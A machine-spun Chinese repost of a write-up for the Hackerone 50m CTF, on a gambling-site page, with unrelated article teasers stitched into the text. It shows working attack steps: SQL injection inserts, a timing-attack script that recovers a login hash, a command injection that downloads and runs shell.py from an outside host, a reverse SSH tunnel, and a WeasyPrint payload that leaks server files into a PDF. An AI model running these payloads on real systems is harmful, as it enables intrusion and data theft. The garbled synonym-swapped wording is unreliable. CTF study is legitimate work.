Hackerone 50m-ctf writeup(第二局部) | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

Hackerone 50m-ctf writeup(第二局部)

申博_新闻事件 申博 278次浏览 已收录 0个评论

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

媒介

本文的第一局部文章链接
上文我们已取得一个可以或许从外网接见的实在IP

Server 104.196.12.98

第一步是侦探,这里运用端口扫描来发明是不是有用劳运转,结果我获得了80端口(http)。

Starting masscan 1.0.6 (http://bit.ly/14GZzcT ) at 2019-03-02 22:32:46 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65536 ports/host]
Discovered open port 22/tcp on 104.196.12.98
Discovered open port 80/tcp on 104.196.12.98

Hackerone 50m-ctf writeup(第二局部)
如今我们面对一个新的Web运用程序,个中包罗usernamepassword输入的表单。别的阅读源代码(html)我们可以或许看到有一个login.js。让我们运用Burp署理并提交登录表单的要求。用户名和暗码可以或许是甚么值?从我们之前的SQL注入,我们获得了admin:password。以是这是一个不错的挑选:

POST / HTTP/1.1
Host: 104.196.12.98
Content-Length: 68

hash=3af937e7424ef6124f8b321d73a96e737732c2f5727d25c622f6047c1a4392a

我们可以或许注重到POST要求不是发送username和password而是hash。是时刻看看login.js在做甚么了。阅读javascript代码,我们可以或许发明hashfhash函数,使我们相识它是一个哈希算法。另有一些添补和XOR位操纵。险些可以或许一定它实际上是一个哈希函数,因而后端将没法取得原始输入值(用户名和暗码)。在这类状况下,我们可以或许揣摸后端也会运用雷同的function盘算哈系值,如login.js。然后它将对照两个哈希值。因而,我们举行身份考证须要运用哈希。

$ python sqlmap.py -v 3 -u http://104.196.12.98/ --data "hash=*" --level=5 --risk=3 --random-agent

结果:甚么也没有……或许我们可以或许找到另一个端点?是时刻运用dirseach和SecList 中的一些字典了:

# ./tools/dirsearch/dirsearch.py -b -t 10 -e php,asp,aspx,jsp,html,zip,jar,sql -x 500,503 -r -w wordlists/raft-large-words.txt -u http://104.196.12.98

 _|. _ _  _  _  _ _|_    v0.3.8
(_||| _) (/_(_|| (_| )

Extensions: php, asp, aspx, jsp, html, zip, jar, sql | Threads: 10 | Wordlist size: 119600

Target: http://104.196.12.98

[15:00:31] Starting:
[15:00:35] 302 -  209B  - /update  ->  http://104.196.12.98/
[15:00:38] 302 -  209B  - /main  ->  http://104.196.12.98/
[15:00:40] 302 -  209B  - /control  ->  http://104.196.12.98/
[15:01:10] 302 -  209B  - /diagnostics  ->  http://104.196.12.98/

风趣的是,实验一些新的终端。但不幸的是,他们都给了302偏重定向到根(/)目次。因而,我们须要以某种体式格局举行身份考证。

让我们再次存眷哈希……

Hash

重温主流的hash进击是一个好的决议

Hash Extension? or Hash Colision?

它多是哈希扩大破绽吗?简而言之,当基于Merkle-Damgård的哈希被误用来作为message认证码时运用这类构造H(secret ‖ message),而且message和secret的长度已知,长度扩大进击许可任何人在message末端包罗分外的数据,并在不晓得secret的状况下天生有用哈系值。在我们的场景中,这不实用,由于没有要考证的署名或message认证码。
或许它多是哈希碰撞?起首,作为一个哈希碰撞,我们须要一个有用的哈希,这里不是这类状况。

What to do now?

现在我处境困难。没有主张……我确信有些主要的器械我还没找到。因而,我决议归去搜刮更多破绽或任何相干信息。

Maybe a SSRF?

我是不是可以或许在devices表中插进去另一个IP并运用setTemp敕令变动恒温器温度(第一局部文章中的内容)?或许当有人转变温度时,一切装备都邑收到带认证码的HTTP要求,因而我可以或许运用它来登录。好像可行。第一步是实验INSERT

System.out.println(PayloadRequest.sendCommand("';INSERT INTO devices(ip) values('X.X.X.X'); commit#", "", "getTemp"));Create another user?

好的,它见效了。我把我的IP地点作为了一台device。如今让我们在我的效劳器(X.X.X.X)上运转tcpdump以捕捉一切收集流量。末了,我们须要运用getTempsetTemp敕令发送一些要求。

# tcpdump -i eth0 -nnvvXS

然则甚么也没有发作……只是在h1-415时期来自旧金山或人的衔接(80端口)。:)明白了,我应当删除我的IP地点。这里死路一条。

Create another user?

我们可以或许插进去任何device,或许我们可以或许插进去一个用户并将其用作Thermostat Login的登录名和暗码。

System.out.println(PayloadRequest.sendCommand("';INSERT INTO users(username, password) values('manoelt','e08e9df699ce8d223b8c9375471d6f0f'); commit#", "", "getTemp"));

不,我们没法登录!:(

Another command?

是不是另有其他参数?让我们爆破吧!
一段时候后,方才弹出一个diag敕令带有以下相应{"success": false, "error": "Missing diagnostic parameters"}。好了,如今是时刻爆破参数名了……经由几天时候运用一切字典来爆破dig敕令的参数,以至运用cewl从真正的恒温器手册中构建一些特定的字典,末了啥也没有找到!

Timing Attack

或许我应当将login.js中的JS代码用python重写一遍并举行代码审计?好的……以是在举行代码审计时,我注重到JS代码有些新鲜:

function hash(x) {
    x += '\x01\x00';
    while((x.length & 0xFF) != 0)
        x += String.fromCharCode((x.length & 0xFF) ^ x.charCodeAt[x.length & 0xFF]);
    ...
}

你瞥见它了吗?这是一个添补算法,而且XOR操纵没法按预期事变,由于它:

x.charCodeAt[x.length & 0xFF]

这是一个拼写毛病,这段毛病的代码可以或许会使哈希函数在后端效劳器上举行准确的考证变得不可行,由于我们不会获得雷同的哈希值…这是一个很好的假定!
在针对哈希函数的进击中,我看到了一个关于Timing Attack的风趣的话题:对照hash的时刻确保相应时候是一个固定值,如许进击者就没法在一个在线体系中运用时序进击取得暗码的hash值,然后将其破解
搜检两个字节(字符串)序列是不是雷同的规范要领是对照第一个字节,然后是第二个字节,然后是第三个字节,依此类推。一旦发明两个字符串的字节不雷同,您就会发明它们分歧而且作出否认的相应。若是你碰到两条字符串没有一个分歧的字节,你晓得字符串雷同时而且返回一个一定的结果。这意味着对照两个字符串可以或许须要分歧的时候,详细取决于字符串的婚配水平。(笔者:后端举行字符串对照时,是一个字节一个字节对照,第一个字节对照时,若雷同则时候会长一点,若分歧则立马相应否认结果,此时我们可以或许爆破找到第一个雷同的字节,再继承爆破下一个字节,直到整条字符串雷同)
是时刻为时序进击竖立PoC了。我们的设法主意是发送0x00到0xFF的局限中的每一个hash作为第一个两个字符,把hash剩下的局部添补ff直到统共64个字符(padding())。在hash中两个字符代表一个字节(16进制)。发送要求后,我们将每一次字节对照所消费的时候保存在dict中。
我获得了:

{ ...
    "ef": 0.6429750000000001,
    "f0": 0.6428805,
    "f1": 0.6429075,
    "f2": 0.6429579999999999,
    "f3": 0.6426725,
    "f4": 0.6429405000000001,
    "f5": 0.6432635,
    "f6": 0.6427134999999999,
    "f7": 0.6425565,
    "f8": 0.6429004999999999,
    "f9": 1.1436354999999998,
    "fa": 0.6428285,
    "fb": 0.642867,
    "fc": 0.6430150000000001,
    "fd": 0.642695,
    "fe": 0.643376,
}

请注重,'f9'花了1.14秒,比其他人多0.5秒。如今我应当测试接下来的两个字符以f9为前缀的hash值,依此类推,直到我获得完全的hash值。

Multithreading

在单个线程中实行此计时进击须要数小时。以是我们须要运用多线程来完成它。我发明我的VPS收集最牢靠的结果是最多运用16个线程。通用思绪是构建一个十六进制局限为0x00到0xff的行列,并让每一个线程实行一个搜检已用时候的要求。间隔之前的base_value时候大于0.5秒意味着我们找到了另一个“byte”。

让我们看看每一个线程将实行的主要功用:

def process_data(threadName, q): # Thread main function
    global found
    while not exitFlag:   # A flag to stop all threads
        queueLock.acquire()  # Acquire Queue
        if not workQueue.empty(): 
            payload = q.get()
            queueLock.release() # Release Queue
            time_elapsed = send(payload) # Send the hash and get time_elapsed
            if len(payload) == 64 and time_elapsed == 999: # Last two chars case
                found = payload
                return

            while time_elapsed - base_time_value > 0.8: # Possibly a network issue
                time_elapsed = send(payload) # Try again

            if (time_elapsed - base_time_value) > 0.4: # Maybe we have found
                time.sleep((len(found)/2)*0.6+1)   # Waiting to confirm

                again = send(payload)   # Confirming

                if (again - base_time_value) > 0.45:
                    found = payload[:len(found)+2] # Found!
                    print('Found: ' + payload)
        else:
            queueLock.release()
            time.sleep(2)

若是你有分外的时候,你可以或许在这里寓目一切操纵:https://youtu.be/y50QDcvS9OM;和快速版本:https://youtu.be/K1-EQrj0AwA

末了我们可以或许运用f9865a4952a4f5d74b43f3558fed6a0225c6877fba60a250bcbde753f5db13d8作为哈希值登录。

浅谈RASP技术攻防之实战[环境配置篇]

[toc] 概述 本文没有什么实在的技术含量,主要是为了照顾不会使用IDEA&maven配置环境的小伙伴写的一篇文章。如果对本篇文章不感兴趣,可以直接查看下一篇文章《浅谈RASP技术攻防之实战[代码实现篇]》,文章中有什么不懂得地方,大家可以

Thermostat web app

如今我们已经由过程身份考证,我们可以或许阅读该运用程序。一切端点都在一般事变,除/diagnostics,它提醒了Unauthorized。另外,在/control下有一个经由过程对/setTemp实行POST来转变温度的表单。我花了一些时候测试这个端点,发送种种payload,但它好像只接收数字。

/update

当我们接见/update时,我们获得:

Connecting to http://update.flitethermostat:5000/ and downloading update manifest
...
...
...
Could not connect

这马上引发了我的注重。若是有一些隐蔽参数怎么办?要做到这一点,我们有许多挑选:Param Miner(Burp),Turbo Intruder(Burp),Parameth,WFuzz,FFUF等。在此时我一直在寻觅机能最好的谁人,我挑选了Turbo Intruder:Turbo Intruder是一个Burp Suite扩大,用于发送大批HTTP要求并剖析结果。它旨在经由过程处置惩罚那些须要速度快,耐久或着庞杂的进击来增补Burp Intruder。运用Python设置装备摆设进击。

Request:

GET /update?%s HTTP/1.1
Host: 104.196.12.98
Cookie: session=eyJsb2dnZWRJbiI6dHJ1ZX0.XIHPog.46NKzPROJLINKkYDyQpOQI27JD0

Python:

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=20,
                           requestsPerConnection=40,
                           pipeline=False
                           )
...            
    for word in open('C:\\wordlists\\backslash-powered-scanner-params.txt'):
        engine.queue(target.req, word.strip() + '=turbo.d.mydomain.com.br')
... 
def handleResponse(req, interesting):
    table.add(req)

请主张,我仅仅把要爆破的参数值设置为turbo.d.mydomain.com.br,若是它被剖析的话就会记录在我的dns日记里。在此之后,我只是按status code对结果举行排序,结果显现参数名为port的相应码为500。很好,我们如今可以或许设置port参数的值。接下来的设法主意是实验将端口变动为0-65535中的一切值并检测另一个效劳。运用Turbo Intruder很轻易:

...
    for x in range(0,65536):
        engine.queue(target.req, x)

但没有甚么分歧。让我们尝尝一些注入,设置port值为password@myserver.com:80会酿成http://update.flitethermostat:password@myserver.com:80/从而完成了对myserver.com的SSRF。但它并没有发作,效劳器返回毛病500.端口是一个整数参数。歇息一下……

JWT

登录后,会分派一个cookie,显然是flask JWT。 jwt.io的界说:JSON Web Token (JWT) 是一个开放规范(RFC 7519),它界说了一种紧凑且自力的体式格局,用于在各方之间作为JSON工具安全地传输信息。信息可以或许被校验和信托,由于它被数字署名了。它也说JSON Web Tokens由三局部构成以点(.)支解,它们是:Header.Payload.Signature ....这个json是被Base64Url编码的....
Base64解码第一局部:

# session=eyJsb2dnZWRJbiI6dHJ1ZX0.XIHPog.46NKzPROJLINKkYDyQpOQI27JD0
# eyJsb2dnZWRJbiI6dHJ1ZX0
# echo -n 'eyJsb2dnZWRJbiI6dHJ1ZX0='  | base64 -d
{"loggedIn":true}

只要一个loggedIn属性…不外我决议扩大https://github.com/noraj/flask-session-cookie-manager它的功用,而且为app.secret_key竖立一个爆破功用,在一个flask运用中app.secret_key被用来为JWT署名。

...
parser_brute = subparsers.add_parser('brute', help='brute')
parser_brute.add_argument('-p', '--payload', metavar='<string>',
                            help='Cookie value', required=True)
parser_brute.add_argument('-w', '--wordlist', metavar='<string>',
                            help='Wordlist', required=True)
...
def bruteforce(payl, wordl):   
    f = open(wordl, 'r')
    for line in f:
        s = session_cookie_decoder(payl,line.strip())
        print(line.strip() +'  '+ s)
        if 'error' not in s:
            print(line.strip + ' <<<<----- KEY')
            return
...

死胡同!

_

我忘了一些事变:
Hackerone 50m-ctf writeup(第二局部)
Cody是这个CTF的竖立者。这或许是一个提醒?我真的不晓得,然则这让我实验爆破参数名的时刻带上了_:

update_server=test
server_host=test
host_server=test
update_host=test

倏忽,我获得了Connecting to http://test:5000/ and downloading update manifest!!以是我可以或许变动主机名,然后做SSRF ……不,不。我没有实验触发过http要求。敕令注入怎样?运用反引号(`)我可以或许注入一个sleep敕令。胜利,让我们做一个反弹shell:

GET /update?port=80&update_host=localhos`wget+http://X.X.X.X:666/shell.py+-O+/tmp/.shell.py;python+/tmp/.shell.py;rm+-rf+/tmp/.shell.py`t HTTP/1.1
Host: 104.196.12.98
Cookie: session=eyJsb2dnZWRJbiI6dHJ1ZX0.XIHPog.46NKzPROJLINKkYDyQpOQI27JD0

我们在效劳器内里!flag在那边?

Internal Server (172.28.0.3) – Invoice App

这里没有flags!做一个开端的侦探我注重到我在一个docker容器中。我想到的第一件事就是CVE-2019-5736,从一个docker容器逃逸到主机。但我决议多看看,最后经由过程搜检/app/main.py上的运用源代码,检察统一收集上是不是有其他容器。真是一个欣喜,我发明另一台效劳器172.28.0.3的80端口开放着。运用curl我可以或许看到它是另一个Web运用程序,关于Hackerone发票!

Tunnel

为了让我的生涯更轻松,不走漏我正在做的事变,我决议运用端口转发竖立SSH隧道到我的效劳器:

python -c 'import pty;pty.spawn("/bin/bash")'
ssh -fN  -o StrictHostKeyChecking=no -o PreferredAuthentications=password -o PubkeyAuthentication=no -R *:81:172.28.0.3:80 root@X.X.X.X -p 32777

上面的SSH敕令会将X.X.X.X上当地的81端口的一切衔接转发到172.28.0.3:80。以是从如今开始,我可以或许把localhost:81作为目的,来运用我一切的当地破绽应用。

Login

阅读收集运用程序我们可以或许看到的第一件事是登录表单。我的第一个设法主意是SQL注入,然则基础没有任何意义。仅仅增加一个反引号会触发非常,但我没法构建有用的sql查询。同时还试过SQLMap:

# python sqlmap.py -u http://localhost:81/auth --data "username=admin&password=admin" --level=5 --risk=3

我还实验过XPATH注入,LDAP注入和NoSQL注入。没有任何结果。让我们继承。

New Invoice

我们还可以或许在/invoices/new竖立发票。一切逻辑都在newInvoice.js中:

function preview() {
        // kTHJ9QYJY5597pY7uLEQCv9xEbpk41BDeRy82yzx24VggvcViiCuXqXvF11TPusmb5TucH
        //  5MmCWZhKJD29KVGZLrB6hBbLkRPn8o6H5bF73SgHyR3BdmoVJ9hWvtHfD3NNz6rBsLqV9
        var p = encodeInvoice();
        var url = 'http://' + window.location.hostname + '/invoices/preview?d=' + encodeURIComponent(p);
        url = url.replace(/[\u00A0-\u9999<>\&]/gim, function(i) { return '&#'+i.charCodeAt(0)+';'; });
        $('#iframe-box').empty();
        $('#iframe-box').append($('<iframe width="100%" height="500px" src="' + url + '"></iframe>'));
}

function savePDF() {
        var p = encodeInvoice();
        var url = 'http://' + window.location.hostname + '/invoices/pdfize?d=' + encodeURIComponent(p);
        url = url.replace(/[\u00A0-\u9999<>\&]/gim, function(i) { return '&#'+i.charCodeAt(0)+';'; });
        var a = $('<a download href="' + url + '"><span><i>If your download does not start, click here</i></span></a>');
        $('#iframe-box').append(a);
        a.find('span').trigger('click');
}

运用/invoice/preview我们获得一个带有我们发票的html页面,并运用/invoice/pdfize我们获得一个内容雷同的PDF文档。剖析其他的代码我可以或许运用curl向两个端点发送有用要求:

curl -gv 'http://localhost:81/invoices/preview?d={"companyName":"Hackerone","email":"aaa@hackerone.com","invoiceNumber":"1","date":"2019-03-08","items":[["1","manoelt","manoelt","2"],["1","manoelt","manoelt","2"],["1","manoelt","manoelt","2"]],"styles":{"body":{"background-color":"white"}}}'; echo;

curl -gv 'http://localhost:81/invoices/pdfize?d={"companyName":"Hackerone","email":"aaa@hackerone.com","invoiceNumber":"1","date":"2019-03-08","items":[["1","manoelt","manoelt","22222","2"],["1","manoelt","manoelt","2"],["1","manoelt","manoelt","2"]],"styles":{"body":{"background-color":"white"}}}' -o invoice.pdf; echo;

进击python Web运用程序时我实验的第一件事就是效劳器端模板注入。虽然我们在json上面有几个输入选项,然则运用{{7*7}}作为payload,没有一个相应内容证实有SSTI破绽。别的,引发我们注重的是许可为网页界说款式,由于我们已晓得可以或许运用css,那末我们可以或许应用它走漏网页的信息,但它好像没有用途。然则若是我们可以或许运用url()触发HTTP要求,我们可以或许取得更多的侦探信息:

..."styles":{"body":{"background-image":"url('http://myserver.com.br/')"....

我在我的效劳器上收到了带有这个要求头的要求:User-Agent: WeasyPrint 44 (http://weasyprint.org/)

WeasyPrint

甚么是WeasyPrint?从https://github.com/Kozea/WeasyPrint/:WeasyPrint是一个智能解决方案,用来资助Web开发人员竖立PDF文档。它将简朴的HTML页面酿成华美的统计申报,发票,单子……好的,是时刻更多的相识这个python库了。

阅读文档我看到了这个:与不受信托的HTML或不受信托的CSS一同运用时,WeasyPrint或许会碰到安全问题。您须要在Python运用程序中举行分外设置装备摆设以制止占用大批内存,无休止的衬着或许当地文件走漏….太好了!我们如今须要晓得的是怎样应用这个破绽。或许有人在github上提出了一个issue?现实并非如此。然则,我发明了这个pull request
“增加了对PDF附件的支撑。”(https://github.com/Kozea/WeasyPrint/pull/177)
何等奇异的功用!因而,运用<link rel ='attachment' href ='file_path'>WeasyPrint会把herf指定的文件附加到PDF。我置信这就是我们所须要的。
让我们测试一切json属性来注入HTML代码。没有甚么比竖立一个python脚正本资助我们更好的了:

...
URL = 'http://localhost:81/invoices/'
...
def pdfize(payl, filename):
    r = requests.get(URL+PDFIZE, params=payload)
    with open('invoices/'+filename, 'wb') as fd:
        for chunk in r.iter_content(chunk_size=128):
            fd.write(chunk)

def preview(payl):
    r = requests.get(URL+PREVIEW, params=payload)
    print(r.content)

invoice = {"companyName":"</style", "email":"</style", "invoiceNumber":"1", "date":"<html", "<":">", "items":[["1","manoelt<script","manoelt</script","2"],["1","manoelt","manoelt","2"]],"styles":{"body":{"}</style background-color":"white"}}}
payload = {"d" : json.dumps(invoice)}
pdfize(payload, "style_invoice.pdf")
preview(payload)

仅仅经由过程一个属性,我可以或许注入HTML:CSS属性!然则后端不许可</*>,…而这个提醒来自你可以或许运用//替代闭合标签>。做了末了的exploit:

invoice = {"companyName":"", "email":"", "invoiceNumber":"1", "date":"html", "<":">", "items":[["1","manoelt","manoelt","2"],["1","manoelt","manoelt","2"]],"styles":{"body":{"}</style//<img src='http://mydomain.com.br'><link rel='attachment' href='file:///app/main.py'><style> body: {  background-color":"white"}}}
payload = {"d" : json.dumps(invoice)}
pdfize(payload, "style_invoice.pdf")

末了我翻开PDF,那内里有:
Hackerone 50m-ctf writeup(第二局部)
若是你正在阅读这篇文章,你已完成了CTF,抵达了路的尽头
这是FLAG:c8889970d9fb722066f31e804e351993
检察其他玩家的其他申报

某头脑管理工具V1.1.9最新版漏洞合集

0X00 前言 幕布本人最早接触是在P神的知识星球里面看到P神推荐的,后来下了个用着还挺好用。 之前一直都放一些零零散散的笔记,最近整理的时候,一时兴起,本着漏洞源于生活的态度,遂对幕布的安全性做了些研究。 0x01 背景 幕布是一款头


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明Hackerone 50m-ctf writeup(第二局部)
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址